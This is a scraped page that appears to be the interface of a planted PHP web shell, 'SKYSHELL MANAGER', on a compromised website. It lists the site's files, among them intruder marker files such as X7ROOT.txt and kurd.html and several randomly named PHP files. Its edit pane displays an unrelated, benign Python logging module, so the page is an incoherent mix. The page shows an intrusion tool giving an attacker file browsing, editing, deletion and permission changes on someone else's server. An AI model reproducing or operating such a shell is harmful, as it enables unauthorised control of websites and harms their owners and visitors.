📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.38 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: _ctx.py
from __future__ import annotations import contextvars import logging import subprocess import typing from collections.abc import Mapping, Sequence from functools import partial from ._types import StrPath class _Logger(typing.Protocol): # pragma: no cover def __call__(self, message: str, *, origin: tuple[str, ...] | None = None) -> None: ... _package_name = __spec__.parent _default_logger = logging.getLogger(_package_name) def _log_default(message: str, *, origin: tuple[str, ...] | None = None) -> None: if origin is None: _default_logger.log(logging.INFO, message, stacklevel=2) LOGGER = contextvars.ContextVar('LOGGER', default=_log_default) VERBOSITY = contextvars.ContextVar('VERBOSITY', default=0) def log_subprocess_error(error: subprocess.CalledProcessError) -> None: log = LOGGER.get() log(subprocess.list2cmdline(error.cmd), origin=('subprocess', 'cmd')) for stream_name in ('stdout', 'stderr'): stream = getattr(error, stream_name) if stream: log(stream.decode() if isinstance(stream, bytes) else stream, origin=('subprocess', stream_name)) def run_subprocess(cmd: Sequence[StrPath], env: Mapping[str, str] | None = None) -> None: verbosity = VERBOSITY.get() if verbosity: import concurrent.futures log = LOGGER.get() def log_stream(stream_name: str, stream: typing.IO[str]) -> None: for line in stream: log(line, origin=('subprocess', stream_name)) with ( concurrent.futures.ThreadPoolExecutor(max_workers=2) as executor, subprocess.Popen(cmd, encoding='utf-8', env=env, stdout=subprocess.PIPE, stderr=subprocess.PIPE) as process, ): log(subprocess.list2cmdline(cmd), origin=('subprocess', 'cmd')) # Logging in sub-thread to more-or-less ensure order of stdout and stderr whilst also # being able to distinguish between the two. concurrent.futures.wait( [executor.submit(partial(log_stream, n, getattr(process, n))) for n in ('stdout', 'stderr')] ) code = process.wait() if code: # pragma: no cover raise subprocess.CalledProcessError(code, process.args) else: try: subprocess.run(cmd, capture_output=True, check=True, env=env) except subprocess.CalledProcessError as error: log_subprocess_error(error) raise if typing.TYPE_CHECKING: log: _Logger verbosity: bool else: def __getattr__(name): if name == 'log': return LOGGER.get() elif name == 'verbosity': return VERBOSITY.get() raise AttributeError(name) # pragma: no cover __all__ = [ 'LOGGER', 'VERBOSITY', 'log', 'log_subprocess_error', 'run_subprocess', 'verbosity', ]
Save